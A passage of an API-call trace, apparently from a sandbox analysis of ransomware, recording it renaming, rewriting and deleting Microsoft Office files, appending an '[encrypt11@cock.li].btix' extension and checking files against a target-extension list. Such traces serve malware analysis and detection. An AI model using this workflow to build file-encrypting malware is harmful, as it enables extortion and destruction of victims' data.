office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0160.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0160.233] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0x0) returned 1 [0160.233] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1 [0160.233] ReadFile (in: hFile=0x354, lpBuffer=0x4056058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x4056058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.237] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x95248, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1 [0160.237] ReadFile (in: hFile=0x354, lpBuffer=0x4096058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x4096058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.242] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0160.242] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x17f6d8, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1 [0160.242] ReadFile (in: hFile=0x354, lpBuffer=0x40d6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x40d6058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.263] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.264] WriteFile (in: hFile=0x354, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x365fca8, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fca8*=0xc0112, lpOverlapped=0x0) returned 1 [0160.382] SetEndOfFile (hFile=0x354) returned 1 [0160.383] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x428ddd0 [0160.386] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1 [0160.386] WriteFile (in: hFile=0x354, lpBuffer=0x428ddd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x428ddd0*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1 [0160.387] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x95248, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1 [0160.387] WriteFile (in: hFile=0x354, lpBuffer=0x428ddd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x428ddd0*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1 [0160.389] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x17f6d8, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1 [0160.389] WriteFile (in: hFile=0x354, lpBuffer=0x428ddd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x428ddd0*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1 [0160.391] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0160.392] CloseHandle (hObject=0x354) returned 1 [0160.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0160.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0160.392] lstrlenW (lpString=".doc") returned 4 [0160.392] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.393] lstrlenW (lpString=".docx") returned 5 [0160.393] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0160.393] lstrlenW (lpString=".pdf") returned 4 [0160.393] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.393] lstrlenW (lpString=".xls") returned 4 [0160.393] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.393] lstrlenW (lpString=".xlsx") returned 5 [0160.393] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0160.393] lstrlenW (lpString=".ppt") returned 4 [0160.393] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0160.393] lstrlenW (lpString=".zip") returned 4 [0160.393] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.393] lstrlenW (lpString=".rar") returned 4 [0160.393] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.393] lstrlenW (lpString=".bz2") returned 4 [0160.393] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.393] lstrlenW (lpString=".7z") returned 3 [0160.393] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0160.393] lstrlenW (lpString=".dbf") returned 4 [0160.393] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0160.393] lstrlenW (lpString=".1cd") returned 4 [0160.393] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0160.393] lstrlenW (lpString=".jpg") returned 4 [0160.393] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.394] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.394] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0160.394] GetLastError () returned 0x0 [0160.394] ReadFile (in: hFile=0x354, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x178d8, lpOverlapped=0x0) returned 1 [0160.399] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x178e0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x178e0, lpOverlapped=0x0) returned 1 [0160.403] ReadFile (in: hFile=0x354, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.403] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x10a, lpOverlapped=0x0) returned 1 [0160.403] SetEndOfFile (hFile=0x368) returned 1 [0160.403] CloseHandle (hObject=0x368) returned 1 [0160.403] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.403] SetEndOfFile (hFile=0x354) returned 1 [0160.405] CloseHandle (hObject=0x354) returned 1 [0160.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 1 [0160.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0160.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0160.406] lstrlenW (lpString=".doc") returned 4 [0160.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.406] lstrlenW (lpString=".docx") returned 5 [0160.406] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0160.406] lstrlenW (lpString=".pdf") returned 4 [0160.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.406] lstrlenW (lpString=".xls") returned 4 [0160.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.406] lstrlenW (lpString=".xlsx") returned 5 [0160.406] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0160.406] lstrlenW (lpString=".ppt") returned 4 [0160.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0160.406] lstrlenW (lpString=".zip") returned 4 [0160.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.406] lstrlenW (lpString=".rar") returned 4 [0160.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.406] lstrlenW (lpString=".bz2") returned 4 [0160.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.406] lstrlenW (lpString=".7z") returned 3 [0160.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0160.406] lstrlenW (lpString=".dbf") returned 4 [0160.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0160.406] lstrlenW (lpString=".1cd") returned 4 [0160.406] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0160.406] lstrlenW (lpString=".jpg") returned 4 [0160.406] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.407] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.407] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0160.407] GetLastError () returned 0x0 [0160.407] ReadFile (in: hFile=0x354, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xc0d8, lpOverlapped=0x0) returned 1 [0160.549] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xc0e0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xc0e0, lpOverlapped=0x0) returned 1 [0160.551] ReadFile (in: hFile=0x354, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.551] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x11c, lpOverlapped=0x0) returned 1 [0160.551] SetEndOfFile (hFile=0x368) returned 1 [0160.633] CloseHandle (hObject=0x368) returned 1 [0160.633] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.633] SetEndOfFile (hFile=0x354) returned 1 [0160.634] CloseHandle (hObject=0x354) returned 1 [0160.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0160.635] lstrlenW (lpString=".doc") returned 4 [0160.635] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.635] lstrlenW (lpString=".docx") returned 5 [0160.635] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0160.635] lstrlenW (lpString=".pdf") returned 4 [0160.635] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.635] lstrlenW (lpString=".xls") returned 4 [0160.635] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.635] lstrlenW (lpString=".xlsx") returned 5 [0160.635] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0160.635] lstrlenW (lpString=".ppt") returned 4 [0160.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0160.635] lstrlenW (lpString=".zip") returned 4 [0160.635] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.635] lstrlenW (lpString=".rar") returned 4 [0160.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.635] lstrlenW (lpString=".bz2") returned 4 [0160.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.635] lstrlenW (lpString=".7z") returned 3 [0160.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0160.635] lstrlenW (lpString=".dbf") returned 4 [0160.635] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0160.635] lstrlenW (lpString=".1cd") returned 4 [0160.635] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0160.635] lstrlenW (lpString=".jpg") returned 4 [0160.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.636] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.636] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0160.637] GetLastError () returned 0x0 [0160.637] ReadFile (in: hFile=0x354, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xec8b0, lpOverlapped=0x0) returned 1 [0160.750] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec8c0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec8c0, lpOverlapped=0x0) returned 1 [0160.936] ReadFile (in: hFile=0x354, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.936] WriteFile (in: hFile=0x368, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.936] SetEndOfFile (hFile=0x368) returned 1 [0160.936] CloseHandle (hObject=0x368) returned 1 [0160.936] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.936] SetEndOfFile (hFile=0x354) returned 1 [0160.943] CloseHandle (hObject=0x354) returned 1 [0160.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll")) returned 1 [0160.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0160.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0160.944] lstrlenW (lpString=".doc") returned 4 [0160.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.944] lstrlenW (lpString=".docx") returned 5 [0160.944] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0160.944] lstrlenW (lpString=".pdf") returned 4 [0160.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.944] lstrlenW (lpString=".xls") returned 4 [0160.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.944] lstrlenW (lpString=".xlsx") returned 5 [0160.944] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0160.944] lstrlenW (lpString=".ppt") returned 4 [0160.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0160.945] lstrlenW (lpString=".zip") returned 4 [0160.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.945] lstrlenW (lpString=".rar") returned 4 [0160.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.945] lstrlenW (lpString=".bz2") returned 4 [0160.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.945] lstrlenW (lpString=".7z") returned 3 [0160.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0160.945] lstrlenW (lpString=".dbf") returned 4 [0160.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0160.945] lstrlenW (lpString=".1cd") returned 4 [0160.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0160.945] lstrlenW (lpString=".jpg") returned 4 [0160.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0160.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0160.946] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0x0) returned 1 [0160.946] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1 [0160.946] ReadFile (in: hFile=0x354, lpBuffer=0x4056058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x4056058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1 [0160.977] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x24b638, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1 [0160.977] ReadFile (in: hFile=0x354, lpBuffer=0x4096058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x4096058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1 [0161.123] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.123] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x6a22a8, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1 [0161.123] ReadFile (in: hFile=0x354, lpBuffer=0x40d6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x40d6058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1 [0161.260] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.261] WriteFile (in: hFile=0x354, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x365fca8, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fca8*=0xc010e, lpOverlapped=0x0) returned 1 [0161.386] SetEndOfFile (hFile=0x354) returned 1 [0162.256] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x41d2970 [0162.259] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1 [0162.259] WriteFile (in: hFile=0x354, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1 [0162.260] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x24b638, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1 [0162.260] WriteFile (in: hFile=0x354, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1 [0162.262] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x6a22a8, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1 [0162.262] WriteFile (in: hFile=0x354, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1 [0162.264] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0162.265] CloseHandle (hObject=0x354) returned 1 [0162.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0162.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0162.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0162.266] lstrlenW (lpString=".doc") returned 4 [0162.266] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0162.266] lstrlenW (lpString=".docx") returned 5 [0162.266] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0162.266] lstrlenW (lpString=".pdf") returned 4 [0162.266] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0162.266] lstrlenW (lpString=".xls") returned 4 [0162.266] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0162.266] lstrlenW (lpString=".xlsx") returned 5 [0162.266] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0162.266] lstrlenW (lpString=".ppt") returned 4 